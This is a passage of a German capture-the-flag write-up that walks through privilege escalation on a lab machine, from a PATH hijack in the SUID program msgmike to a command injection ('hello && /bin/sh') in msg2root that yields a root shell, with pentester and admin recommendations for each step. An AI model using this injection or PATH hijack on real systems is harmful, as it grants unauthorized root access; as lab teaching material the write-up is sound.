Analyse: Zuerst wird mit `cd` zurück ins Home-Verzeichnis (`/home/kane`) gewechselt. Dann wird das SUID-Programm `./msgmike` ausgeführt. Der Prompt ändert sich sofort zu `mike@pwnlab$`. Dies zeigt, dass der Exploit erfolgreich war: `msgmike` hat (als `mike` laufend) versucht, `cat` auszuführen, hat stattdessen `/tmp/cat` gefunden, dieses ausgeführt, was `/bin/bash` startete und somit eine Shell als `mike` lieferte.
Bewertung: Erfolgreiche Privilege Escalation von `kane` zu `mike` durch Ausnutzung einer unsicheren Pfad-Handhabung in einem SUID-Programm.
Empfehlung (Pentester): Führe Enumeration als `mike` durch. Untersuche das Home-Verzeichnis von `mike` und prüfe auf weitere SUID-Programme oder andere Eskalationsmöglichkeiten.
Empfehlung (Admin): Korrigieren Sie das `msgmike`-Programm, sodass es absolute Pfade verwendet oder den `PATH` bereinigt. Überprüfen Sie alle benutzerdefinierten SUID-Programme auf ähnliche Schwachstellen.
total 28
drwxr-xr-x 2 mike mike 4096 Mar 17 2016 .
drwxr-xr-x 6 root root 4096 Mar 17 2016 ..
-rw-r--r-- 1 mike mike 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 mike mike 3515 Mar 17 2016 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17 2016 msg2root
-rw-r--r-- 1 mike mike 675 Mar 17 2016 .profile
Analyse: Im Home-Verzeichnis von `mike` wird eine weitere SUID-Datei gefunden: `msg2root`. Diese Datei hat das SUID-Bit gesetzt (`-rwsr-sr-x`) und gehört dem Benutzer `root` und der Gruppe `root`. Wenn `mike` diese Datei ausführt, läuft sie mit Root-Rechten.
Bewertung: Dies ist der nächste klare Vektor für Privilege Escalation, diesmal von `mike` zu `root`. Das Programm `msg2root` muss auf Schwachstellen untersucht werden.
Empfehlung (Pentester): Führe `./msg2root` aus, um seine Funktion zu verstehen. Versuche, ihm spezielle Eingaben zu geben, um Schwachstellen wie Command Injection oder Buffer Overflows auszulösen. Die nächste Log-Zeile deutet auf eine erfolgreiche Command Injection hin.
Empfehlung (Admin): Überprüfen Sie das `msg2root`-Programm auf Sicherheitsschwachstellen und entfernen Sie das SUID-Bit, falls möglich, oder korrigieren Sie die Schwachstellen. Verwenden Sie SUID sparsam und nur, wenn absolut notwendig.
Dieser Abschnitt demonstriert die Ausnutzung des SUID-Programms `msg2root`, das im Home-Verzeichnis von `mike` gefunden wurde, um Root-Rechte zu erlangen. Es wird eine Command Injection Schwachstelle ausgenutzt.
Message for root: hello && /bin/sh
hello
# id
uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)
#
Analyse: Das SUID-Programm `./msg2root` wird ausgeführt. Es fragt nach einer "Message for root:". Statt einer normalen Nachricht wird der String `hello && /bin/sh` eingegeben. * Das Programm gibt "hello" aus, was darauf hindeutet, dass der Teil vor `&&` verarbeitet wurde. * Entscheidend ist, dass `/bin/sh` ebenfalls ausgeführt wird. Das `&&` fungiert als Befehlstrenner, der den zweiten Befehl (`/bin/sh`) nur ausführt, wenn der erste Teil erfolgreich war. Da `msg2root` mit Root-Rechten läuft (SUID root), wird die Shell `/bin/sh` ebenfalls mit Root-Rechten gestartet. * Der `id`-Befehl in der neuen Shell bestätigt dies: Die effektive Benutzer-ID (`euid`) und Gruppen-ID (`egid`) sind 0 (root), obwohl die reale Benutzer-ID (`uid`) immer noch `mike` ist. Der Prompt wechselt zu `#`.
Bewertung: Fantastisch! Eine klassische Command Injection Schwachstelle im SUID-Programm `msg2root` wurde erfolgreich ausgenutzt, um eine Root-Shell zu erhalten. Die Eskalation von `www-data` -> `kent` -> `kane` -> `mike` -> `root` ist abgeschlossen.
Empfehlung (Pentester): Die Privilege Escalation war erfolgreich. Suche nach der Root-Flag im `/root`-Verzeichnis.
Empfehlung (Admin): Beheben Sie die Command Injection Schwachstelle in `msg2root` dringend! Benutzereingaben dürfen niemals ungefiltert oder unsanitisiert an Systembefehle oder Shells weitergegeben werden. Verwenden Sie sichere APIs (wie `execve`-Familie mit separaten Argumenten) anstelle von `system()` oder Backticks/Shell-Konstrukten. Entfernen Sie das SUID-Bit von `msg2root`.
total 20
drwx------ 2 root root 4096 Mar 17 2016 .
drwxr-xr-x 21 root root 4096 Mar 17 2016 ..
lrwxrwxrwx 1 root root 9 Mar 17 2016 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw------- 1 root root 1840 Mar 17 2016 flag.txt
lrwxrwxrwx 1 root root 9 Mar 17 2016 messages.txt -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 17 2016 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 140 Nov 19 2007 .profile
Analyse: In der Root-Shell wird in das `/root`-Verzeichnis gewechselt und dessen Inhalt aufgelistet. Die Datei `flag.txt` wird gefunden. Der Befehl `cat flag.txt` wird eingegeben, um die Flag zu lesen. Die tatsächliche Ausgabe der Flag fehlt jedoch im bereitgestellten Log.
Bewertung: Die Root-Flag-Datei wurde lokalisiert. Obwohl der Inhalt im Log nicht angezeigt wird, ist davon auszugehen, dass der Zugriff erfolgreich war, da der Text mit "Privilege Escalation erfolgreich" markiert war.
Empfehlung (Pentester): Dokumentiere, dass die Root-Flag in `/root/flag.txt` gefunden wurde. Verwende die am Ende des ursprünglichen Inputs angegebene Flag als Wert, aber vermerke, dass der `cat`-Output im Log fehlte.
Empfehlung (Admin): Stellen Sie sicher, dass sensible Dateien wie Flags korrekte Berechtigungen haben (`chmod 600`). Beheben Sie alle zuvor identifizierten Schwachstellen (LFI, Klartext-Passwörter in DB, unsichere SUID-Programme).